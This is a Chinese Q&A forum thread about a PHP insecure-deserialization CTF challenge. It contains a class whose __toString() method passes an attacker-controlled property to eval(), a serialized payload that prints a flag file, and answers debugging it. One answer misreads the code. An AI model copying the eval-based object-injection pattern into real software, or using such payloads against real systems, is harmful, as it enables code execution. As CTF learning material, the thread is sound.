为了账号安全,请及时绑定邮箱和手机立即绑定

为什么“exit()”后代码还在执行?

为什么“exit()”后代码还在执行?

PHP
慕妹3146593 2021-06-09 16:29:05
我正在做一个关于 PHP 中不安全反序列化的 CTF 挑战。目标是通过将代码注入反序列化来打印标志以执行print_flag()函数。我怀疑网络服务器只打印脚本回显的最后一行,即使在调用exit().提供了在网络服务器上运行的一部分 php 代码。我已经在我自己的 php 脚本中实现了它,以找出哪些有效,哪些无效。我已经成功地序列化了一个在反序列化时执行代码的对象。通过调用exit(print_flag());标志被打印,没有任何进一步的错误......至少在我的脚本中。当我将序列化对象发送到网络服务器时,它仍然会打印更多错误。此外,我尝试从注入的代码中返回一个字符串。那也行不通。function print_flag() {    print file_get_contents('/var/flag/flag.txt');}class Example2{    private $hook;    function __construct() {        $this->hook = "exit(print_flag());";    }    function __toString()    {        if (isset($this->hook)) eval($this->hook);    }}$flag = new Example2();$serialized = serialize($flag);print "$serialized\r\n";$deserialized = unserialize($serialized);该代码类似于挑战中显示的代码,但经过修改,因此对我有用。我希望代码只返回标志。在我自己的机器上执行脚本时,输出为:O:8:"Example2":1:{s:14:"Example2 hook";s:19:"exit(print_flag());";} thisistheflag当我没有调用它时exit():PHP 可恢复的致命错误:方法示例 2::__toString() 必须在第 39 行的 ../phpObjInj.php 中返回一个字符串值”网络服务器返回:可捕获的致命错误:方法示例 2::__toString() 必须在第 79 行的 /var/www/index.php 中返回一个字符串值如何停止打印错误?
查看完整描述

2 回答

?
慕村9548890

TA贡献1884条经验 获得超4个赞

删除构造函数中的双引号,function __construct() 而不是


function __construct() {

    $this->hook = "exit(print_flag());";

}


function __construct() {

    $this->hook = exit(print_flag());

}


查看完整回答
反对 回复 2021-06-19
?
Smart猫小萌

TA贡献1911条经验 获得超7个赞

发生错误的原因是unserialize($flag);。由于参数 tounserialize()应该是一个字符串,它尝试将Example2对象转换为字符串。您可能打算使用unserialize($serialized);.


但更一般地,您应该确保该__toString()方法返回一个字符串。如果你不在乎它是什么,你可以返回一个空字符串。


function __toString()

{

    if (isset($this->hook)) eval($this->hook);

    return "";

}

当您exit()在钩子中时不会发生错误,因为脚本在__toString()方法返回之前退出,因此它从不检查返回值。


之后没有执行任何操作exit()。下面是操作顺序:

  • new Example2 - 创建新对象

  • serialize($flag) - 创建一个表示对象的字符串

  • print "$serialized\r\n"; - 打印上面的字符串

以上步骤都不需要调用__toString(),所以钩子还没有执行。

  • deserialize($flag)- 这需要转换$flag为字符串,以便可以将其解析为序列化数据。

    • 称呼 $flag->__toString()

    • eval($this->hook)

    • 调用print_flag(),打印标志

    • 调用exit(),终止脚本

所以你看到序列化的对象被打印出来,然后标志被打印出来,然后没有别的,因为exit().

为了演示该漏洞,您应该unserialize()使用正确的参数调用。

$deserialized = unserialize($seralized);
echo $deserialized;

echo语句将导致__toString()调用该方法。这将退出脚本,您将不会收到错误消息。


查看完整回答
反对 回复 2021-06-19
  • 2 回答
  • 0 关注
  • 645 浏览

添加回答

举报

0/150
提交
取消
意见反馈 帮助中心 APP下载
官方微信